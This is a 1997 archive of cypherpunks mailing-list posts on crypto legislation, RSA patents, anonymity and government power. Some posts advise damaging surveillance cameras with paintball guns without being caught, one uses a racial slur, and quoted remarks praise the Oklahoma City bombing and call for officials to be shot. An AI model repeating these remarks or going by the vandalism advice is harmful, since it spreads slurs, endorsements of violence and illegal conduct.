From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 14 May 1997 07:09:52 +0800
To: "Brian C. Lane" <nexus@eskimo.com>
Subject: Re: Camera Hacking
In-Reply-To: <Pine.LNX.3.96.970509154412.965B-100000@fozzy.islet.com>
Message-ID: <Pine.SUN.3.91.970513185533.5776Z-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 9 May 1997, Brian C. Lane wrote:

> On Thu, 1 May 1997, geeman wrote:
> 
> > have an effect on people's behavior with respect to what they say, whom
> > they associate with, 
> > the clothes they wear, the thoughts they think...
> > 
> > How do you hack a camera?
> 
>   Splatball (paintball) gun should do the trick.

I suppose if you make it expensive enough by damaging enough cameras, 
and any replacements, they will go away (or be better hidden).  The trick 
is to do this without being caught. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Wed, 14 May 1997 10:35:37 +0800
To: Chris DiBona <cypherpunks@toad.com>
Subject: RE: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
Message-ID: <199705140215.TAA11471@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:45 5/12/97 -0700, Chris DiBona wrote:

>And keep in mind , I don't begrudge RSA thier right to make money off thier
intellectual property,

However, I've been waiting many years for some patent-law-knowledgeable
person to explain why mathematics, which was widely seen as being absolutely
unpatentable prior to the invention of public-key cryptography, suddenly
became patentable just in time for RSA, etc.  

Until I hear such an explanation, I _DO_ begrudge RSA and others that "right."


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 14 May 1997 09:11:28 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: "The policeman inside" (fwd)
Message-ID: <199705140013.TAA23211@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: "Ross Wright" <rwright@adnetsol.com>
> Date: Tue, 13 May 1997 17:41:52 -0700
> Subject: Re: "The policeman inside"

> Hey, *They* read this list anyways.  Fuck *Them* Hard.
>  
> > Beware the policeman inside.
> 
> Fuck the FBI, Fuck the CIA.  Fuck 'em all.  Now that's freedom!  God, 
> I love America!  

That isn't freedom, its emotional gratification. Freedom would be not having
to worry about them in the first place.


                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 14 May 1997 09:08:50 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
Message-ID: <199705140015.TAA23269@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Tue, 13 May 97 19:23:46 -0500
> Subject: Re: KKK derails crypto bill, report from House Judiciary...

> I personaly think that this is a good thing. :)))
> 
> Every bill that *is not* passed by congress is just that much more freedom
> that is saved. If all the bills passed by congress over the past 100yrs.
> could all be repealed no one would miss them in the least (well no one
> except the STATEST). 

Yeah,

Blacks could go back to being niggers.
Women could go back to being barefoot and pregnant
etc...

Talk about statest.

                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 14 May 1997 08:57:53 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: <v03007804af9ea94e831c@[168.161.105.191]>
Message-ID: <199705140035.TAA10601@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007804af9ea94e831c@[168.161.105.191]>, on 05/13/97 at 05:32 PM,
   Declan McCullagh <declan@well.com> said:


>The Net's crypto wet-dreams were demolished this afternoon by a
>Congressional committee's fear of coffee-drenched kids and the Ku Klux
>Klan.

[Discription of a typical day in congress sniped]


>It worked. By 5:15 pm, after a dozen amendments, the committee passed the
>"Volunteer Protection Act." As for SAFE -- well, if you're a Congressman
>faced with the choice of bashing the KKK or tackling crypto policy, what
>would you do?

I personaly think that this is a good thing. :)))

Every bill that *is not* passed by congress is just that much more freedom
that is saved. If all the bills passed by congress over the past 100yrs.
could all be repealed no one would miss them in the least (well no one
except the STATEST). 

SAFE was a bad ideal as any law regulating crypto. I do not need DC's
permision to exercise my 1st Admendment rights any more than I need their
permision to exercise any of my rights.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: MASOCHIST: Windows SDK programmer with a smile!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3kX0Y9Co1n+aLhhAQFNmgP+NYbfMx5fX506NhGiCQVS/3IGo2/b3IcE
mBLEsVnOwggkrz/ebO5r4rnQNhKTzd0tCqxQtGAtR7lRna/cQsFg2wqVHpwX/G70
SWrrlsm1DI0rEFKIi1bSbJ4tkDMpdQQOhtwYRDLUXHH/JuWh0B19wZZ0yYi6WwBy
3BH+23/iba0=
=QUcl
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 14 May 1997 07:53:26 +0800
To: cypherpunks@toad.com
Subject: KKK derails crypto bill, report from House Judiciary...
Message-ID: <v03007804af9ea94e831c@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


The Net's crypto wet-dreams were demolished this afternoon by a
Congressional committee's fear of coffee-drenched kids and the Ku
Klux Klan.

A two-hour debate over whether KKK volunteers could be sued for
spilling coffee on an 8-year old at a bake sale blew through
millions of dollars in billable lobbyist-hours and prevented the
House Judiciary Committee from voting on Rep. Bob Goodlatte's
(R-VA) SAFE crypto bill today.

Somnolent yet somehow alert, Rep. John Conyers (D-Mich) wasted an
hour sparring with the avuncular Rep. Henry Hyde (R-Illinois) over
the "Volunteer Protection Act," which insulates people volunteering
for nonprofit organizations from civil liability.

But would that apply to the KKK, wondered Conyers? Is the KKK a
registered 501(c)(3) organization under the IRS code? What about
501(c)(4) organizations? What if a KKK member decided to build houses
for Habitat for Humanity?

I kid you not: these are the questions that the august House
Judiciary committee grapples with. The members ran out of time
and never got around to voting on SAFE.

It was a bizzare meeting, to be sure, but at least one point made
sense: these decisions should be left to the states, not imposed on
them by the Feds. Some Congressmen even cited the landmark Supreme
Court decision in _Lopez_, which shortened the reach of the Federal
government. Conyers: "Someone has to explain why this is a federal
issue." Rep. Jerrold Nadler (D-NY): "I don't see why it's necessary
for the federal government to invade."

Rep. Barney Frank (D-Mass) coughed up an odd position: he likes the
bill, but wants to make sure his GOP colleagues appreciate that
this bill would screw the states. (It uses the Constitution's
"interstate commerce clause" to justify the Feds interfering.)
Frank said: "The notion that the coach of the Little League is
involved in interstate commerce -- unless the third baseline is in
another state -- strikes me as a hard sell. A dispute involving the
coach in a little league will now be federalized... I don't have a
problem with that... I do insist, however, that those in the past
who have invoked [states' rights understand that] this is an
obliteration of Lopez."

Those were the high points of the debate, and it went downhill from
there. Frank claimed that the Civil War meant that states have no
rights. Someone rambled about girl scouts in South Carolina.
Someone else spoke passionately about "standards of tortious
behavior." Then there was talk about tricyles and hammers.

By this time, the audience was falling asleep. I counted 10 people
nodding off before I ran out of fingers.

A frustrated Hyde tried to broker a deal: "If your staff person can
work with your staff person, can you draft replacement language?"
Conyers replied. "We're trying to help chairman Hyde. We've got 12
minutes [left]. There's no way in the world we're going to allow
hate group hangers-on to be exempted from simple negligence."

It worked. By 5:15 pm, after a dozen amendments, the committee
passed the "Volunteer Protection Act." As for SAFE -- well, if
you're a Congressman faced with the choice of bashing the KKK or
tackling crypto policy, what would you do?

-By Declan McCullagh (declan@well.com) and Will Rodger
(rodger@worldnet.att.net), who refuses to wear a tie to these
events any more.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 14 May 1997 10:49:42 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
In-Reply-To: <3.0.1.32.19970512171524.028df2c8@panix.com>
Message-ID: <19970513193420.35018@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 12, 1997 at 05:15:24PM -0400, Duncan Frissell wrote:
>
>Tim is neither a democrat nor a participant in a democracy.  Note that all
>the parties involved in the current Balkans war are governments (or claim to
>be). 
>
>Most of the violence in interactions between people and governments is on the
>government side.  The U.S. government and others have been committing mass
>murder for years.  Supporters of those governments thus support mass murder
>for "political ends."
>
>Governments have murdered 170 million people since 1900.  My
>back-of-the-envelope estimate is that the civilians of the world have only
>murdered about 20 million people in the same period of time.  Quite a
>disparity.

Your estimate seems high to me.  But it is meaningless, in any case.

First of all, it neglects to consider that governments may have 
prevented more murders than they caused.  This is unknowable, since 
we don't have any worthwhile control cases.  (I suppose we
might examine a state of anarchic chaos (eg Rawanda) and compare the 
percentage of murders...but such cases are symptoms of other human 
ills, and cannot be used as a meaningful comparison, I believe.)

Second, such cases of civil breakdown aside, all humans, for now and
for the conceivable future, live within the context of some kind of
government.  The option of non-government simply doesn't exist.  The 
issue is how can governments be improved.

Third, murders caused by governments can't really be separated from
murders caused by individuals.  That is, in many cases deciding
whether a murder is a personal action or a government action is
impossible. 


Fourth, it's fashionable in these circles to paint all governments
with the same brush, but in fact, some are much better than others.  
But it only takes one bad one to start a war.  Furthermore, human 
motivations are complex and irrational, so wars are started for 
essentially insane reasons.  This is a human problem, not a problem 
of government.

>The U.S. government and its subsidiaries (for example) annually kill hundreds
>of people in carrying out the "war" on the unlicensed retailing of
>pharmaceuticals.  The U.S. was convicted of war crimes in the International
>Court of Justice in the Hague in the late 80's for dropping air-sown mines in
>one of Nicaragua's harbors.  The U.S. practices the mass bombing of civilian
>populations in wartime which causes a very great loss of innocent life.  Many
>of the other governments of the world are worse.
>
>The principle of estoppel would seem to logically preclude the world's
>governments from arguing that their mass murders are OK but those committed
>by amateurs (which kill many fewer people) aren't.

That inconsistency doesn't bother Tim.  To quote him:

"Some innocents died, but, hey, war is hell. Broken eggs and all that."

>Again, and in general, some of the readers of this and other recent threads
>on cypherpunks need some reading lessons (present company excepted).  Tim May
>has not advocated blowing things up (though such advocacy remains legal).  He
>has not advocated that cypherpunks blow things up.  He has not advocated that
>Timothy McVeigh blow things up.  He has not even said that blowing things up
>is a hip and happening way to raise the average IQ and moral level of the
>surviving population.
>
>He has merely said that if OTHER PEOPLE blow certain things up he understands
>their actions and that in the case of certain targets he would not shed a
>tear.  He also predicted that people will be blowing things up in the future
>(with which prediction, even the U.S. government agrees).

He said:

"Every day that passes, I'm more convinced that McVeigh did the right 
thing." 

This is a lot stronger than saying that he "understands" McVeigh.

[Parenthetically, it is absolutely amazing to me that he and
practically everyone on this list just seems to assume McVeigh is
guilty...do they know something I don't?]

And Tim did *explictly advocate* the assasination of government
officials:

"Chiles and his co-conspirators should be shot for high crimes against
the Constitution.  After Clinton, Freeh, Kerrey, and the other
traitors."

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 14 May 1997 09:50:20 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
Message-ID: <199705140034.TAA23384@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

> > * Is it possible for the interlinked lists to send out announcements of
> > list problems to subscriber of all such lists? (Each list owner could do a
> > periodic "who cypherpunks" of the other lists, then use this list to send a
> > message if a problem comes up. More sophisticated cross-processing could
> > eliminate duplicates, etc.)

Sounds like time to start another list subscribed to the existing nodes
and offer such services to the subscribers at the operators whim.

I oppose any action which would force the list to become more 'cooperative'
in the sense that each node operator would be forced (sorta anti-cpunks I
believe) to comply with some set of scripts and such they didn't develop in
the first place. It would be just another means to limit the ability of
people in general, and the cpunks in particular, to communicate with as
little structure and 'authority' as possible. Unless I am seriously
mistaken on this, the point was to make the list more robust and less
centralized. Pretty soon we'll have to join some damn union or something.

Now some of you are going to say that this is taking it to extremes. That
what is being proposed is a good thing and not something that could be used
to 'manipulate' the lists. The road to hell is paved with good intentions,
and the guy driving the paving truck only wants to help you (as he paves
your petunia's).

> > * Alternatively, if one of the sites goes down, such as
> > "cypherpunks@cyberpass.net" seems to have done, could the other sites
> > automagically pick up the task of distributing articles until the site
> > comes back up?

This again is anti-cpunks, it forces a level of cooperation and information
sharing that is in direct opposition to beliefs in anonymity and privacy.
I don't want it known who is subscribed to lists through SSZ, in short:
It isn't any of your damn business and quit asking.

Solution? Get a life or start an archive site.

> The only true reliability can be achieved by subscribing to two or more
> cypherpunks sites, and eliminating duplicates. Reliability has its costs.

As do freedom, privacy, anonymity, etc.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 14 May 1997 09:20:42 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Camera Hacking
In-Reply-To: <Pine.SUN.3.91.970513185533.5776Z-100000@beast.brainlink.com>
Message-ID: <199705140038.TAA10646@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.SUN.3.91.970513185533.5776Z-100000@beast.brainlink.com>, on
05/13/97 at 04:56 PM,
   Ray Arachelian <sunder@brainlink.com> said:


>On Fri, 9 May 1997, Brian C. Lane wrote:

>> On Thu, 1 May 1997, geeman wrote:
>> 
>> > have an effect on people's behavior with respect to what they say, whom
>> > they associate with, 
>> > the clothes they wear, the thoughts they think...
>> > 
>> > How do you hack a camera?
>> 
>>   Splatball (paintball) gun should do the trick.

>I suppose if you make it expensive enough by damaging enough cameras,  and
>any replacements, they will go away (or be better hidden).  The trick  is
>to do this without being caught. :)

I think if enough got damaged they would just replace them with cheap dummy
cameras and hide the real ones. 

Orwell like most great thinkers was just ahead of his time.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows?  WINDOWS?!?  Hahahahahehehehehohohoho...

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3kYiY9Co1n+aLhhAQGnNgP/cUNvf2RwMNzVGtBzeuwv7BspkiTTp5eb
FVYwVLHKK9NZ5zlfIgCwH3LWmciVOTe9jlpzQoTIb8SmOWJnn/p2eASiajEoEsun
FuE81Ee8P/4Cj2hy0EL9T/imh/W+LKZiS89QEtfAv3FT25ZqU/ECZnErAdLNPuF7
BsHFtNRAkcs=
=bPwj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 14 May 1997 11:00:23 +0800
To: 3umoelle@informatik.uni-hamburg.de (Ulf Möller)
Subject: Re: Crypto AG web site
In-Reply-To: <199705131551.RAA20430@rzdspc5.informatik.uni-hamburg.de>
Message-ID: <3.0.1.32.19970513194225.02be0700@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:51 PM 5/13/97 +0200, Ulf Möller wrote:
>"Thanks to comprehensive ciphering expertise and 45 years of experience,
>the Zug/Switzerland based company enjoys an excellent reputation all
>around the world and is trusted by customers in over 130 countries in
>all continents."
>
>http://www.crypto.ch

Wasn't this the company that the NSA tricked/bribed/rubberhosed into
selling compromised crypto a few years back?

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: whgiii@NO.amaranth.com.SPAM
Date: Wed, 14 May 1997 09:12:09 +0800
To: cypherpunks@toad.com
Subject: Cypherpunks meeting in SE
Message-ID: <199705140048.TAA10792@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Hi,

I am intrested in setting up a cypherpunks meeting in the South East USA. I
think that Atlanta would be a good place for this but I am open to other
locations. I am located in FL so I would like to keep it within a days
drive (Atlanta is 4-5 hrs from me). 

If you would be intrested in such a meeting please e-mail me and let me
know when you would be able to attend and where you are located.

If I can get enough people intrested I would like this to be a monthly
thing simmilar to the meetings on the West Coast.

Thanks,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows NT: From the makers of Windows 3.1!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3ka549Co1n+aLhhAQF1TAP/ZgGHDjGI/LeIeDPv3IALNYWYgXucZ3+r
ODpUOtIAbCp/FVGdBTnPuKuKvsOzEVIk6Uly1OzEh4kdKXV7W+VbhBoUJX3NF+0J
gTWPfq2bSFbsMR85Ln+T0FCeWTAjrzuOwSTjy1YrlFKGc75JJ4oMlk15aMrK84/v
voyNIKPZ2ko=
=mWRj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 14 May 1997 11:10:53 +0800
To: "cypherpunks@toad.com>
Subject: Re: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
In-Reply-To: <199705140215.TAA11471@mail.pacifier.com>
Message-ID: <19970513194747.04236@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, May 13, 1997 at 07:11:48PM -0800, Jim Bell wrote:
> At 12:45 5/12/97 -0700, Chris DiBona wrote:
> 
> >And keep in mind , I don't begrudge RSA thier right to make money off thier
> intellectual property,
> 
> However, I've been waiting many years for some patent-law-knowledgeable
> person to explain why mathematics, which was widely seen as being absolutely
> unpatentable prior to the invention of public-key cryptography, suddenly
> became patentable just in time for RSA, etc.  
> 
> Until I hear such an explanation, I _DO_ begrudge RSA and others that "right."

Wow!  I agree with you!

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 14 May 1997 11:06:40 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <199705140116.UAA23579@einstein.ssz.com>
Message-ID: <Pine.3.89.9705131901.A961-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, Jim Choate wrote:
> And for those who are white with real cajones, walk into a black bar around
> 1AM on a Sunday.

I walked _through_ the housing projects in San Francisco at ~3:30 am on a
Sunday morning. Not only did I make it out alive, I made it out with a
couple of ice cold beers the enterprising homeboys hanging out at the
other side felt compelled to give me, since I turned down what they
originally offered me as a token of their friendship. 

[Professional socializer. Don't try this at home. Or if you do, don't blame 
me if you get hurt or killed.]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 14 May 1997 09:12:11 +0800
To: spectre@nac.net>
Subject: Anonymity and cowardice
In-Reply-To: <19571593902558@nac.net>
Message-ID: <Pine.LNX.3.95.970513195831.2199A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 13 May 1997, The Spectre wrote:

> hmmmm.. Go figure out how many years of your life you'll waste doing that
> once you calculate how many of these messages arrive each hour, let alone
> each day.

The time per year it takes for me to delete all these messages is about the
same as the amount of time it took me to reply to your previous message
plus the amount of time it will now take me to compose this reply.  All
back of the envelope, of course.

> I, personally, have been on this mailing list for a while now,
> and have never seen *any* worthwhile posts from either of those remailers,
> or any other for that matter.

I've been on this list for 18 months and have seen plenty of worthwhile
posts from remailers.  You're entitled to your opinion, but I strongly
disagree.

> If you've got something to say, say it.
> Anything less is cowardice, in one form or another.

So you're calling John Jay, James Madison, and Alexander Hamilton cowards
(anonymous authors of the Federalist Papers)?  Many others have also used
anonymity to further the cause of liberty.  I doubt your real name is
"The Spectre" yet that is the name under which you are posting.  Are you
calling yourself a coward?



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

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ihjXfMYm3JHXA/cLC6/XCbiq5Q7Ft1pGN07oXfC/0vHEOzZv7QcBx7jdZKkWbklU
tbURkxDxRFl4DKr5GG4aTH8AifLKP3/YR/O7Lf6Q3Zpkz+B5TmLbkaHRTM0eorJu
U/ywMkfWJpYx9C0rgLL3HZu5ZvU8z/d90n55oFFKVVShIYA0pSwukcyb5y5WAr7+
VrlxYoPR6CPsv/xHcyhNA8KVVx1ixrm8NGQbNtg/hCapZbPHQXA6pQ==
=5c4k
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 14 May 1997 08:30:04 +0800
To: cypherpunks@toad.com
Subject: Canada bans anonymous political speech, from The Netly News
Message-ID: <v03007800af9eb34ab583@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


*********

http://pathfinder.com/netly/editorial/0,1012,940,00.html

The Netly News Network
May 13, 1997

No, Canada
by Declan McCullagh (declan@well.com)

     Krishna Bera wasn't surprised when the order from
the Canadian government arrived last Friday. It was
couched in the stilted language of universal
bureaucratese, but its message was cold and clear:
Purge a political endorsement from your web site or go
to jail.

     Bera's offending web page had said simply, "Vote
Green." It didn't exhort its readers to commit a
crime. It wasn't libelous or defamatory. It didn't
even feature any porn. Yet the pro-Green Party
statement was enough to draw the ire of the
commissioner of elections, for Canada has a rule,
buried in the 187-page Elections Act, that prohibits
anonymous political recommendations. And Bera's web
page was unsigned.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 14 May 1997 10:10:52 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
Message-ID: <199705140116.UAA23579@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Tue, 13 May 97 20:33:41 -0500
> Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)

> >> Every bill that *is not* passed by congress is just that much more freedom
> >> that is saved. If all the bills passed by congress over the past 100yrs.
> >> could all be repealed no one would miss them in the least (well no one
> >> except the STATEST). 
> 
> >Yeah,
> 
> >Blacks could go back to being niggers.
> >Women could go back to being barefoot and pregnant
> >etc...
> 
> >Talk about statest.
> 
> I don't know where you get the above from?

Constitutional Amendments are general passed by Congress. Hence, your
statement taken literaly is advocating a great deal of good that has come
from such actions.

> I supose that your statest brainwashing has convinced you that such social
> issues could have only been resolved by Federal intervention. Quite the
> contrary is true. Any laws passed by congress in these areas were brought
> about *because* society was already moving in those directions not the
> other way around.

I was a small boy in the 60's in and around Houston. I remember what
it was like before and after the desegregation that took place in the
mid-60's when I started elementary. I can promise you from personal
experience there were still seperate washrooms and fountains. Sweeney, Tx.
still had a sign on Interstate 90 that said (and I quote) "If you are black
don't let the sun set on you in Sweeney." (the sign was on private property
adjacent to the interstate I found out years later)

As to a little modern social commentary. Ride the city bus in your town for
1 month each day. During that time keep track of where people sit. Would you
like to explain why the majority of blacks still sit in the back of the bus?

And for those who are white with real cajones, walk into a black bar around
1AM on a Sunday.

> If someone is going to descriminate on the basis of race or sex or any
> other criteria they are going to do so reguardless of what laws are passed
> in DC.

Absolutely, as is their Constitutionaly protected right. THE FEDERAL
GOVERNMENT AND EVERY OTHER FORM OF SOCIAL AND LEGAL INSTITUTION SHOULD NOT
EVER, PERIOD. Private individuals and companies should, and can,
discriminate to their hearts content. I personaly wouldn't deal with a
business that I knew a priori discriminated against employees or customers
based on sex, religion, etc. as a matter of standard policy. I suspect that
most others with 2 halves of a clue to rub together would refuse as well.


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 14 May 1997 10:11:04 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd) (correction)
Message-ID: <199705140119.UAA23637@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: Jim Choate <ravage@einstein.ssz.com>
> Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
> Date: Tue, 13 May 1997 20:16:21 -0500 (CDT)

> Constitutional Amendments are general passed by Congress. Hence, your
> statement taken literaly is advocating a great deal of good that has come
> from such actions.

Insert 'eliminating' between 'advocating' and 'a great' on the second line.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 11:36:24 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <3.0.1.32.19970512171524.028df2c8@panix.com>
Message-ID: <v03007806af9eed1804f5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:34 PM -0800 5/13/97, Kent Crispin wrote:

>First of all, it neglects to consider that governments may have
>prevented more murders than they caused.  This is unknowable, since
>we don't have any worthwhile control cases.  (I suppose we
>might examine a state of anarchic chaos (eg Rawanda) and compare the
>percentage of murders...but such cases are symptoms of other human
>ills, and cannot be used as a meaningful comparison, I believe.)

Rwanda (or Ruwanda, or...) is a _very_ poor example to pick, as this was
not any kind of anarchy such as any of us have ever advocated. Rather,
Rwanda was a near-textbook example of one tribal faction (Hutus or Tutsis)
coming to power and inititiating a pogrom against the rival faction (Tutsis
or Hutus).

Calling this an "anarchy" is comparable to calling the pogrom by the Third
Reich against Jews, gypsies, cripples, and others an example of anarchy.

The rest of Kent's analysis is not worth my time to read and comment upon.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 11:41:40 +0800
To: Rick Osborne <cypherpunks@algebra.com>
Subject: Sabotaging Grumman's Computers
In-Reply-To: <3.0.1.32.19970513221218.00a5bcf0@gateway.grumman.com>
Message-ID: <v03007807af9eeee07035@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:12 PM -0800 5/13/97, Rick Osborne wrote:

>the applications I develop.  The constant barrage of "why did you visit
>this page?", or "what does this application you downloaded do?" is not only
>irritating but counter-productive.  This got me thinking: disregarding
>outside proxy schemes (such as Anonymizer), we can't really keep the proxy
>server from knowing the site we are connecting to.  We can, however, hide
>the page we are retrieving.

And what do they think of you reading messages entitled "Sabotaging
Grumman's Computers"?

(As to any Grumman censors reading this and reaching for their cellphones
to call Security, fuck 'em if they can't take a joke.)

--The Grummanbomber

(The serious point being that mere membership in a list like Cypherpunks is
